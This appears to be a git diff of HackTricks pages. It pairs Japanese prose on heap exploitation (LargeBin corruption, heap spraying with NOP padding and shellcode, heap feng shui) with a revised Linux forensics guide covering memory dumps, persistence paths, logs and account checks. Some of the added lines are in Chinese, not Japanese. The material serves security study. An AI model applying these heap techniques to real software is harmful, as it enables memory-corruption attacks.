攻撃者が選択したアドレスを持つmallocが攻撃者によって制御されるように、2つのmallocが予約される。
|
||||
|
||||
**LargeBinの破損**
|
||||
攻撃目標は、解放されたbin内にオーバーフローを行うことができるヒープにオーバーフローを行うことです。解放されたbin内の最初のチャンクがリストの最初になり、予約されると、binは次に提供されるリストの最後のチャンクが攻撃者が設定した偽のアドレス(スタックまたはGOTなど)にあると信じ込まされます。そのため、別のチャンクが再度予約され、攻撃者がそのチャンクにアクセス権を持っている場合、望ましい位置にチャンクが提供され、その位置に書き込むことができます。
|
||||
|
||||
1. 前述の要件に加えて、予約されたチャンクは512よりも大きくする必要があります。
|
||||
2. 攻撃は前述のものと同じですが、変更されたチャンクのサイズを変更する必要があります。つまり、そのサイズ - nbがMINSIZEよりも小さくなるようにする必要があります。
|
||||
3. たとえば、サイズを1552に設定して、1552 - 1544 = 8 < MINSIZEとなるようにします(負にならないようにするため、unsignedで比較されます)。
|
||||
4. さらに、より複雑にするためのパッチが導入されています。
|
||||
修正されたチャンクを解放した後、解放されたチャンクよりも大きなチャンクが予約される必要があります。これにより、修正されたチャンクがunsorted binsから出て、そのbinに挿入されます。
|
||||
|
||||
**ヒープスプレー**
|
||||
binが再度使用されるまでmalloc()が十分に呼び出されるのを待つ必要があります。そして、修正されたbinを使用し、binを欺いて次のチャンクが偽のアドレスにあると信じ込ませます。そして、望ましいチャンクが提供されます。
|
||||
|
||||
- ヒープを可能な限り予約し、これらをnopsのパディングで埋め、最後にシェルコードで終了させることを基本とします。パディングとして0x0cを使用します。つまり、アドレス0x0c0c0c0cにジャンプしようとします。したがって、このパディングで呼び出されるアドレスが上書きされる場合、そこにジャンプします。基本的には、ポインタが上書きされる可能性があるかどうかを確認するために、可能な限り予約し、0x0c0c0c0cにジャンプし、そこにnopsがあることを期待します。
|
||||
この攻撃をできるだけ早く実行するためには、脆弱なチャンクを予約し、修正されるチャンクを予約し、そのチャンクを解放し、修正されるチャンクよりも大きなチャンクを予約し、チャンク(脆弱性)を修正し、脆弱なチャンクと同じサイズのチャンクを予約し、2番目のチャンクを予約し、そのチャンクが攻撃者が選択したアドレスを指すようにします。
|
||||
|
||||
**ヒープ風水**
|
||||
この攻撃を防ぐために、通常のチェックが使用されます。つまり、bck->fdがvictimを指していないことを確認します。つまり、スタックに指された偽のチャンクのfdポインタがvictimを指しているかどうかを確認します。この保護を回避するには、攻撃者は適切なアドレスにvictimのアドレスをいかなる方法で書き込む必要があります。これにより、それが本物のチャンクであるかのように見えるようになります。
|
||||
|
||||
- 予約と解放を繰り返すことで、空いているチャンクの間に予約されたチャンクが残るようにメモリをセメントすることで、ヒープを整えることです。オーバーフローするバッファはそのうちの1つに配置されます。
|
||||
## **LargeBinの破損**
|
||||
|
||||
以前と同じ要件が必要で、さらに、予約されたチャンクは512よりも大きくなければなりません。
|
||||
|
||||
攻撃は前述のものと同じですが、修正されたチャンクのサイズを変更する必要があります。つまり、そのサイズ - nbがMINSIZEよりも小さくなければなりません。
|
||||
|
||||
例えば、サイズを1552に設定すると、1552 - 1544 = 8 < MINSIZEとなります(負にならないようにするためにunsignedが比較されます)。
|
||||
|
||||
さらに、攻撃をより複雑にするためのパッチが導入されています。
|
||||
|
||||
## **ヒープスプレー**
|
||||
|
||||
基本的には、ヒープのすべてのメモリを予約し、これらをnopsのパディングで埋め、最後にシェルコードで終了させることです。パディングとして0x0cが使用されます。つまり、アドレス0x0c0c0c0cにジャンプしようとし、このパディングで呼び出されるアドレスが上書きされる場合、そこにジャンプします。基本的には、ポインタが上書きされる可能性があるかどうかを確認するために、できるだけ多くを予約し、0x0c0c0c0cにジャンプし、そこにnopsがあることを期待する戦術です。
|
||||
|
||||
## **ヒープ風水**
|
||||
|
||||
予約と解放を繰り返すことで、空きチャンクの間に予約されたチャンクが残るようにメモリを配置することです。オーバーフローするバッファはそのうちの1つに配置されます。
|
||||
|
|
|
@ -1,32 +1,32 @@
|
|||
# Linuxフォレンジクス
|
||||
# Linux Forensics
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も**高度な**コミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も**高度なコミュニティツール**によって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
今すぐアクセスしてください:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>**htARTE (HackTricks AWS Red Team Expert)**を使用して、ゼロからヒーローまでAWSハッキングを学びましょう</strong></summary>
|
||||
<summary><strong>**htARTE (HackTricks AWS Red Team Expert)**を使用して、ゼロからヒーローまでAWSハッキングを学びましょう</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手してください
|
||||
* 独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションである[**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見してください
|
||||
* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手してください
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけてください
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
|
||||
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
|
||||
|
||||
</details>
|
||||
|
||||
## 初期情報収集
|
||||
## Initial Information Gathering
|
||||
|
||||
### 基本情報
|
||||
### Basic Information
|
||||
|
||||
まず最初に、**USB**に**良く知られたバイナリとライブラリが含まれている**(単にUbuntuを取得して、_ /bin_、_ /sbin_、_ /lib_、および_ /lib64_のフォルダをコピーできます)ことが推奨されます。次に、USBをマウントし、環境変数を変更してこれらのバイナリを使用します:
|
||||
まず最初に、**USB**に**よく知られたバイナリとライブラリ**が含まれていることが推奨されます(単にUbuntuを取得して、_ /bin_、_ /sbin_、_ /lib_、および_ /lib64_のフォルダをコピーできます)。その後、USBをマウントし、環境変数を変更してこれらのバイナリを使用します:
|
||||
```bash
|
||||
export PATH=/mnt/usb/bin:/mnt/usb/sbin
|
||||
export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64
|
||||
|
@ -53,21 +53,21 @@ find /directory -type f -mtime -1 -print #Find modified files during the last mi
|
|||
|
||||
基本情報を取得する際に、次のような奇妙な点をチェックする必要があります:
|
||||
|
||||
- **Rootプロセス** は通常、低いPIDで実行されます。したがって、大きなPIDでRootプロセスを見つけた場合は疑う必要があります
|
||||
- `/etc/passwd`内でシェルを持たないユーザーの**登録されたログイン**を確認する
|
||||
- `/etc/shadow`内でシェルを持たないユーザーの**パスワードハッシュ**を確認する
|
||||
- **Rootプロセス** は通常、低いPIDで実行されます。そのため、大きなPIDで実行されているRootプロセスが見つかった場合は疑うべきです
|
||||
- `/etc/passwd` 内でシェルを持たないユーザーの**登録されたログイン** を確認する
|
||||
- `/etc/shadow` 内でシェルを持たないユーザーの**パスワードハッシュ** を確認する
|
||||
|
||||
### メモリダンプ
|
||||
### メモリーダンプ
|
||||
|
||||
実行中のシステムのメモリを取得するには、[**LiME**](https://github.com/504ensicsLabs/LiME)を使用することをお勧めします。\
|
||||
**コンパイル**するには、被害者マシンが使用している**同じカーネル**を使用する必要があります。
|
||||
実行中のシステムのメモリを取得するには、[**LiME**](https://github.com/504ensicsLabs/LiME) を使用することをお勧めします。\
|
||||
**コンパイル** するには、被害者マシンが使用している**同じカーネル** を使用する必要があります。
|
||||
|
||||
{% hint style="info" %}
|
||||
被害者マシンには**LiMEやその他の何かをインストールできない**ことを覚えておいてください。それにより、複数の変更が加えられます
|
||||
被害者マシンに **LiME やその他の何かをインストールすることはできない** ことを覚えておいてください。それにより、いくつかの変更が加えられます
|
||||
{% endhint %}
|
||||
|
||||
したがって、Ubuntuの同一バージョンがある場合は、`apt-get install lime-forensics-dkms`を使用できます\
|
||||
それ以外の場合は、[**LiME**](https://github.com/504ensicsLabs/LiME)をgithubからダウンロードし、正しいカーネルヘッダーを使用してコンパイルする必要があります。被害者マシンの**正確なカーネルヘッダー**を取得するには、単に`/lib/modules/<kernel version>`ディレクトリをあなたのマシンにコピーし、それを使用してLiMEを**コンパイル**します:
|
||||
したがって、Ubuntuの同一バージョンがある場合は、`apt-get install lime-forensics-dkms` を使用できます\
|
||||
それ以外の場合は、[**LiME**](https://github.com/504ensicsLabs/LiME) をgithub からダウンロードし、正しいカーネルヘッダーを使用してコンパイルする必要があります。被害者マシンの**正確なカーネルヘッダー** を取得するには、単にディレクトリ `/lib/modules/<kernel version>` をあなたのマシンにコピーし、それを使用して LiME を**コンパイル** します:
|
||||
```bash
|
||||
make -C /lib/modules/<kernel version>/build M=$PWD
|
||||
sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime"
|
||||
|
@ -78,14 +78,14 @@ LiMEは3つの**フォーマット**をサポートしています:
|
|||
- Padded(Rawと同じですが、右ビットにゼロが入っています)
|
||||
- Lime(メタデータを含む推奨フォーマット)
|
||||
|
||||
LiMEは、`path=tcp:4444`のような方法を使用して、システムに保存せずに**ダンプをネットワーク経由で送信**することもできます。
|
||||
LiMEは、`path=tcp:4444`のような方法を使用して、**ダンプをネットワーク経由で送信**することもできます。
|
||||
|
||||
### ディスクイメージング
|
||||
|
||||
#### シャットダウン
|
||||
|
||||
まず、**システムをシャットダウンする**必要があります。これは常に選択肢としてはない場合があります。企業がシャットダウンする余裕のない本番サーバーであることがあります。\
|
||||
システムをシャットダウンする方法には、**通常のシャットダウン**と**「プラグを抜く」シャットダウン**の2つがあります。前者は**プロセスが通常通り終了**し、**ファイルシステム**が**同期**されることを可能にしますが、**マルウェア**が**証拠を破壊**する可能性もあります。後者の「プラグを抜く」アプローチは**一部の情報が失われる**可能性があります(メモリのイメージをすでに取得しているため、失われる情報はほとんどありません)が、**マルウェア**はそれについて何もできません。したがって、**マルウェア**が疑われる場合は、システムで**`sync`** **コマンド**を実行してプラグを抜いてください。
|
||||
まず、**システムをシャットダウンする**必要があります。これは常に選択肢となるわけではありません。なぜなら、システムが企業がシャットダウンする余裕のない本番サーバーである場合があるからです。\
|
||||
システムをシャットダウンする方法には、**通常のシャットダウン**と**「プラグを抜く」シャットダウン**の2つがあります。前者は**プロセスが通常通り終了**し、**ファイルシステム**が**同期**されることを可能にしますが、**悪意のあるソフトウェア**が**証拠を破壊**する可能性もあります。後者の「プラグを抜く」アプローチは、**一部の情報が失われる可能性**があります(メモリのイメージをすでに取得しているため、失われる情報はほとんどありません)し、**悪意のあるソフトウェア**が何もできなくなります。したがって、**悪意のあるソフトウェア**がある可能性がある場合は、システムで**`sync`** **コマンド**を実行してからプラグを抜いてください。
|
||||
|
||||
#### ディスクのイメージを取得する
|
||||
|
||||
|
@ -153,10 +153,10 @@ r/r 16: secret.txt
|
|||
icat -i raw -f ext4 disk.img 16
|
||||
ThisisTheMasterSecret
|
||||
```
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築**し**自動化**します。\
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
今すぐアクセスしてください:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -185,7 +185,7 @@ DebianとRedHatの両方のシステムでインストールされたプログ
|
|||
* Debianの場合、パッケージのインストールに関する詳細を取得するために、_**`/var/lib/dpkg/status`**_と_**`/var/log/dpkg.log`**_を調査し、`grep`を使用して特定の情報をフィルタリングします。
|
||||
* RedHatユーザーは、インストールされたパッケージをリストアップするために`rpm -qa --root=/mntpath/var/lib/rpm`でRPMデータベースをクエリできます。
|
||||
|
||||
これらのパッケージマネージャーの外で手動でインストールされたソフトウェアや、それらとは関連のない実行可能ファイルを特定するには、_**`/usr/local`**_、_**`/opt`**_、_**`/usr/sbin`**_、_**`/usr/bin`**_、_**`/bin`**_、_**`/sbin`**_などのディレクトリを調査します。ディレクトリリストとシステム固有のコマンドを組み合わせて、既知のパッケージに関連付けられていない実行可能ファイルを特定し、すべてのインストールされたプログラムを検索を強化します。
|
||||
これらのパッケージマネージャーの外で手動でインストールされたソフトウェアを見つけるには、_**`/usr/local`**_、_**`/opt`**_、_**`/usr/sbin`**_、_**`/usr/bin`**_、_**`/bin`**_、_**`/sbin`**_などのディレクトリを調査します。ディレクトリリストをシステム固有のコマンドと組み合わせて使用して、既知のパッケージに関連付けられていない実行可能ファイルを特定し、すべてのインストールされたプログラムを検索を強化します。
|
||||
```bash
|
||||
# Debian package and log details
|
||||
cat /var/lib/dpkg/status | grep -E "Package:|Status:"
|
||||
|
@ -201,7 +201,7 @@ find /sbin/ –exec rpm -qf {} \; | grep "is not"
|
|||
# Find exacuable files
|
||||
find / -type f -executable | grep <something>
|
||||
```
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
|
@ -237,57 +237,57 @@ ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Libra
|
|||
|
||||
マルウェアがインストールされる可能性のあるサービスのパス:
|
||||
|
||||
- **/etc/inittab**:rc.sysinitなどの初期化スクリプトを呼び出し、さらに起動スクリプトに誘導します。
|
||||
- **/etc/rc.d/** および **/etc/rc.boot/**:サービスの起動スクリプトが含まれており、後者は古いLinuxバージョンに見られます。
|
||||
- **/etc/init.d/**:Debianなどの特定のLinuxバージョンで起動スクリプトを保存するために使用されます。
|
||||
- **/etc/inittab**: rc.sysinitなどの初期化スクリプトを呼び出し、さらに起動スクリプトに誘導します。
|
||||
- **/etc/rc.d/** および **/etc/rc.boot/**: サービスの起動スクリプトが含まれており、後者は古いLinuxバージョンに見られます。
|
||||
- **/etc/init.d/**: Debianなどの特定のLinuxバージョンで起動スクリプトを保存するために使用されます。
|
||||
- サービスは、Linuxのバリアントに応じて **/etc/inetd.conf** または **/etc/xinetd/** を介してもアクティブ化される可能性があります。
|
||||
- **/etc/systemd/system**:システムおよびサービスマネージャースクリプト用のディレクトリ。
|
||||
- **/etc/systemd/system/multi-user.target.wants/**:マルチユーザーランレベルで起動する必要があるサービスへのリンクが含まれています。
|
||||
- **/usr/local/etc/rc.d/**:カスタムまたはサードパーティのサービス用。
|
||||
- **\~/.config/autostart/**:ユーザー固有の自動起動アプリケーション用で、ユーザー向けのマルウェアの隠れた場所となる可能性があります。
|
||||
- **/lib/systemd/system/**:インストールされたパッケージによって提供されるシステム全体のデフォルトユニットファイル。
|
||||
- **/etc/systemd/system**: システムおよびサービスマネージャースクリプト用のディレクトリ。
|
||||
- **/etc/systemd/system/multi-user.target.wants/**: マルチユーザーのランレベルで起動する必要があるサービスへのリンクが含まれています。
|
||||
- **/usr/local/etc/rc.d/**: カスタムまたはサードパーティのサービス用。
|
||||
- **\~/.config/autostart/**: ユーザー固有の自動起動アプリケーション用であり、ユーザーを標的としたマルウェアの隠れた場所となる可能性があります。
|
||||
- **/lib/systemd/system/**: インストールされたパッケージによって提供されるシステム全体のデフォルトユニットファイル。
|
||||
|
||||
### カーネルモジュール
|
||||
|
||||
マルウェアによってルートキットコンポーネントとしてよく使用されるLinuxカーネルモジュールは、システム起動時にロードされます。これらのモジュールにとって重要なディレクトリとファイルは次のとおりです:
|
||||
マルウェアによってルートキットコンポーネントとして頻繁に使用されるLinuxカーネルモジュールは、システム起動時にロードされます。これらのモジュールにとって重要なディレクトリとファイルは次のとおりです:
|
||||
|
||||
- **/lib/modules/$(uname -r)**:実行中のカーネルバージョン用のモジュールを保持します。
|
||||
- **/etc/modprobe.d**:モジュールのロードを制御する構成ファイルが含まれています。
|
||||
- **/etc/modprobe** および **/etc/modprobe.conf**:グローバルモジュール設定用のファイル。
|
||||
- **/lib/modules/$(uname -r)**: 実行中のカーネルバージョン用のモジュールを保持します。
|
||||
- **/etc/modprobe.d**: モジュールのロードを制御する構成ファイルが含まれています。
|
||||
- **/etc/modprobe** および **/etc/modprobe.conf**: グローバルモジュール設定用のファイル。
|
||||
|
||||
### その他の自動起動場所
|
||||
|
||||
Linuxは、ユーザーログイン時にプログラムを自動的に実行するためにさまざまなファイルを使用し、潜在的にマルウェアを隠す可能性があります:
|
||||
Linuxは、ユーザーログイン時に自動的にプログラムを実行するためにさまざまなファイルを使用し、潜在的にマルウェアを隠す可能性があります:
|
||||
|
||||
- **/etc/profile.d/**\*、**/etc/profile**、および **/etc/bash.bashrc**:すべてのユーザーログイン時に実行されます。
|
||||
- **\~/.bashrc**、**\~/.bash\_profile**、**\~/.profile**、および **\~/.config/autostart**:ユーザー固有のファイルで、ユーザーのログイン時に実行されます。
|
||||
- **/etc/rc.local**:すべてのシステムサービスが起動した後に実行され、マルチユーザー環境への移行の終了を示します。
|
||||
- **/etc/profile.d/**\*、**/etc/profile**、および **/etc/bash.bashrc**: すべてのユーザーログイン時に実行されます。
|
||||
- **\~/.bashrc**、**\~/.bash\_profile**、**\~/.profile**、および **\~/.config/autostart**: ユーザー固有のファイルで、それぞれのユーザーログイン時に実行されます。
|
||||
- **/etc/rc.local**: すべてのシステムサービスが起動した後に実行され、マルチユーザー環境への移行の終了を示します。
|
||||
|
||||
## ログの調査
|
||||
|
||||
Linuxシステムは、さまざまなログファイルを介してユーザーのアクティビティやシステムイベントを追跡します。これらのログは、不正アクセス、マルウェア感染、およびその他のセキュリティインシデントを特定するために重要です。主要なログファイルには次のものがあります:
|
||||
|
||||
- **/var/log/syslog**(Debian)または **/var/log/messages**(RedHat):システム全体のメッセージとアクティビティをキャプチャします。
|
||||
- **/var/log/auth.log**(Debian)または **/var/log/secure**(RedHat):認証試行、成功および失敗したログインを記録します。
|
||||
- **/var/log/syslog** (Debian) または **/var/log/messages** (RedHat): システム全体のメッセージとアクティビティをキャプチャします。
|
||||
- **/var/log/auth.log** (Debian) または **/var/log/secure** (RedHat): 認証試行、成功および失敗したログインを記録します。
|
||||
- `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` を使用して関連する認証イベントをフィルタリングします。
|
||||
- **/var/log/boot.log**:システムの起動メッセージが含まれています。
|
||||
- **/var/log/maillog** または **/var/log/mail.log**:メールサーバーのアクティビティを記録し、メール関連サービスの追跡に役立ちます。
|
||||
- **/var/log/kern.log**:エラーや警告を含むカーネルメッセージを保存します。
|
||||
- **/var/log/dmesg**:デバイスドライバーメッセージを保持します。
|
||||
- **/var/log/faillog**:失敗したログイン試行を記録し、セキュリティ侵害の調査を支援します。
|
||||
- **/var/log/cron**:cronジョブの実行を記録します。
|
||||
- **/var/log/daemon.log**:バックグラウンドサービスのアクティビティを追跡します。
|
||||
- **/var/log/btmp**:失敗したログイン試行を文書化します。
|
||||
- **/var/log/httpd/**:Apache HTTPDのエラーおよびアクセスログが含まれています。
|
||||
- **/var/log/mysqld.log** または **/var/log/mysql.log**:MySQLデータベースのアクティビティを記録します。
|
||||
- **/var/log/xferlog**:FTPファイル転送を記録します。
|
||||
- **/var/log/**:予期しないログがないか常に確認してください。
|
||||
- **/var/log/boot.log**: システムの起動メッセージが含まれています。
|
||||
- **/var/log/maillog** または **/var/log/mail.log**: メールサーバーのアクティビティを記録し、メール関連サービスの追跡に役立ちます。
|
||||
- **/var/log/kern.log**: エラーや警告を含むカーネルメッセージを保存します。
|
||||
- **/var/log/dmesg**: デバイスドライバーメッセージを保持します。
|
||||
- **/var/log/faillog**: 失敗したログイン試行を記録し、セキュリティ侵害の調査を支援します。
|
||||
- **/var/log/cron**: cronジョブの実行を記録します。
|
||||
- **/var/log/daemon.log**: バックグラウンドサービスのアクティビティを追跡します。
|
||||
- **/var/log/btmp**: 失敗したログイン試行を文書化します。
|
||||
- **/var/log/httpd/**: Apache HTTPDのエラーおよびアクセスログが含まれています。
|
||||
- **/var/log/mysqld.log** または **/var/log/mysql.log**: MySQLデータベースのアクティビティを記録します。
|
||||
- **/var/log/xferlog**: FTPファイル転送を記録します。
|
||||
- **/var/log/**: ここで予期しないログを常にチェックしてください。
|
||||
|
||||
{% hint style="info" %}
|
||||
Linuxシステムのログと監査サブシステムは、侵入やマルウェアのインシデントで無効化または削除される可能性があります。Linuxシステムのログは一般的に悪意のある活動に関する最も有用な情報のいくつかを含んでいるため、侵入者はそれらを定期的に削除します。したがって、利用可能なログファイルを調査する際には、削除や改ざんの兆候となる欠落や順序の逆転を探すことが重要です。
|
||||
Linuxシステムのログと監査サブシステムは、侵入やマルウェアのインシデントで無効化または削除される可能性があります。Linuxシステムのログは一般的に悪意のある活動に関する最も有用な情報のいくつかを含んでいるため、侵入者はそれらを定期的に削除します。したがって、利用可能なログファイルを調査する際には、削除や改ざんの兆候となるギャップや順序外のエントリを探すことが重要です。
|
||||
{% endhint %}
|
||||
|
||||
**Linuxは各ユーザーのコマンド履歴を維持**し、以下に保存されます:
|
||||
**Linuxは各ユーザーのコマンド履歴を維持**しており、以下に保存されています:
|
||||
|
||||
- \~/.bash\_history
|
||||
- \~/.zsh\_history
|
||||
|
@ -295,32 +295,32 @@ Linuxシステムのログと監査サブシステムは、侵入やマルウェ
|
|||
- \~/.python\_history
|
||||
- \~/.\*\_history
|
||||
|
||||
さらに、`last -Faiwx` コマンドはユーザーログインのリストを提供します。未知のまたは予期しないログインがあるかどうかを確認してください。
|
||||
さらに、`last -Faiwx` コマンドはユーザーログインのリストを提供します。未知または予期しないログインがあるかどうかを確認してください。
|
||||
|
||||
追加の特権を付与できるファイルを確認してください:
|
||||
追加の特権を付与できるファイルをチェックしてください:
|
||||
|
||||
- 予期しないユーザー特権が付与されている可能性がある `/etc/sudoers` を確認してください。
|
||||
- 予期しないユーザー特権が付与されている可能性がある `/etc/sudoers.d/` を確認してください。
|
||||
- 予期しないユーザー特権を確認するために `/etc/sudoers` を確認してください。
|
||||
- 予期しないユーザー特権を確認するために `/etc/sudoers.d/` を確認してください。
|
||||
- 異常なグループメンバーシップや権限を特定するために `/etc/groups` を調べてください。
|
||||
- 異常なグループメンバーシップや権限を特定するために `/etc/passwd` を調べてください。
|
||||
|
||||
一部のアプリケーションは独自のログを生成することもあります:
|
||||
|
||||
- **SSH**:_\~/.ssh/authorized\_keys_ および _\~/.ssh/known\_hosts_ を調べて、未承認のリモート接続を確認してください。
|
||||
- **Gnomeデスクトップ**:Gnomeアプリケーションを介して最近アクセスされたファイルを示す _\~/.recently-used.xbel_ を調べてください。
|
||||
- **Firefox/Chrome**:_\~/.mozilla/firefox_ または _\~/.config/google-chrome_ でブラウザの履歴とダウンロードを確認し、不審な活動を見つけてください。
|
||||
- **VIM**:アクセスされたファイルパスや検索履歴などの使用詳細を示す _\~/.viminfo_ を確認してください。
|
||||
- **Open Office**:侵害されたファイルを示す可能性のある最近のドキュメントアクセスを確認してください。
|
||||
- **FTP/SFTP**:_\~/.ftp\_history_ または _\~/.sftp\_history_ のログを調べて、許可されていないファイル転送を見つけてください。
|
||||
- **MySQL**:実行されたMySQLクエリを示す _\~/.mysql\_history_ を調査し、許可されていないデータベースアクティビティを明らかにしてください。
|
||||
- **Less**:表示されたファイルや実行されたコマンドなどの使用履歴を分析する _\~/.lesshst_ を確認してください。
|
||||
- **Git**:リポジトリへの変更を示す _\~/.gitconfig_ およびプロジェクト _.git/logs_ を調べてください。
|
||||
- **SSH**: _\~/.ssh/authorized\_keys_ および _\~/.ssh/known\_hosts_ を調査して、不正なリモート接続を見つけます。
|
||||
- **Gnomeデスクトップ**: Gnomeアプリケーションを介して最近アクセスされたファイルを示す _\~/.recently-used.xbel_ を調べます。
|
||||
- **Firefox/Chrome**: _\~/.mozilla/firefox_ または _\~/.config/google-chrome_ でブラウザの履歴とダウンロードをチェックして、不審な活動を見つけます。
|
||||
- **VIM**: アクセスされたファイルパスや検索履歴などの使用詳細を示す _\~/.viminfo_ を確認します。
|
||||
- **Open Office**: 侵害されたファイルを示す可能性のある最近のドキュメントアクセスをチェックしてください。
|
||||
- **FTP/SFTP**: 許可されていないファイル転送を示す _\~/.ftp\_history_ または _\~/.sftp\_history_ のログを確認してください。
|
||||
- **MySQL**: 実行されたMySQLクエリを示す _\~/.mysql\_history_ を調査して、許可されていないデータベースアクティビティを明らかにします。
|
||||
- **Less**: 閲覧されたファイルや実行されたコマンドなどの使用履歴を分析する _\~/.lesshst_ を確認してください。
|
||||
- **Git**: リポジトリへの変更を示す _\~/.gitconfig_ およびプロジェクト _.git/logs_ を調べてください。
|
||||
|
||||
### USBログ
|
||||
|
||||
[**usbrip**](https://github.com/snovvcrash/usbrip) は、Linuxログファイル(ディストリビューションに応じて `/var/log/syslog*` または `/var/log/messages*`)を解析してUSBイベント履歴テーブルを作成する、Python 3で書かれた小さなソフトウェアです。
|
||||
[**usbrip**](https://github.com/snovvcrash/usbrip) は、USBイベント履歴テーブルを構築するためにLinuxログファイル (`/var/log/syslog*` または `/var/log/messages*`、ディストリビューションによって異なります) を解析する純粋なPython 3で書かれた小さなソフトウェアです。
|
||||
|
||||
**使用されたすべてのUSBデバイスを把握することは興味深い**ですし、USBの許可リストを持っていると、そのリストに含まれていないUSBの使用を見つけるためにより役立ちます。
|
||||
**使用されたすべてのUSBデバイスを把握することは興味深い**ですし、USBの許可リストを持っていると、そのリストに含まれていないUSBの使用を見つけるのに役立ちます。
|
||||
|
||||
### インストール
|
||||
```bash
|
||||
|
@ -335,28 +335,38 @@ usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR
|
|||
usbrip ids download #Downlaod database
|
||||
usbrip ids search --pid 0002 --vid 0e0f #Search for pid AND vid
|
||||
```
|
||||
## ユーザーアカウントとログオンアクティビティのレビュー
|
||||
更多示例和信息请查看github:[https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip)
|
||||
|
||||
異常な名前やアカウント、または既知の不正イベントに近接して作成または使用されたアカウントを探すために、_**/etc/passwd**_、_**/etc/shadow**_、および**セキュリティログ**を調査します。また、sudoの総当たり攻撃をチェックします。\
|
||||
さらに、ユーザーに与えられた予期しない特権を確認するために、_**/etc/sudoers**_や_**/etc/groups**_などのファイルをチェックします。\
|
||||
最後に、**パスワードのないアカウント**や**簡単に推測できる**パスワードを持つアカウントを探します。
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## ファイルシステムの調査
|
||||
\
|
||||
使用[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)可以轻松构建和**自动化工作流程**,利用世界上**最先进**的社区工具。\
|
||||
立即获取访问权限:
|
||||
|
||||
### マルウェア調査におけるファイルシステム構造の分析
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
マルウェア事件を調査する際、ファイルシステムの構造は情報の重要な源であり、イベントの順序やマルウェアの内容を明らかにします。しかし、マルウェアの作者は、ファイルのタイムスタンプの変更やデータ保存のためのファイルシステムの回避など、この分析を妨げる技術を開発しています。
|
||||
## 检查用户帐户和登录活动
|
||||
|
||||
これらのアンチフォレンジック手法に対抗するためには、次のことが重要です:
|
||||
检查 _**/etc/passwd**_、_**/etc/shadow**_ 和**安全日志**,查找是否有异常名称或在已知未经授权事件附近创建或使用的帐户。还要检查可能的sudo暴力攻击。\
|
||||
此外,检查像 _**/etc/sudoers**_ 和 _**/etc/groups**_ 这样的文件,查看是否给用户授予了意外的特权。\
|
||||
最后,查找没有密码或**易于猜测**密码的帐户。
|
||||
|
||||
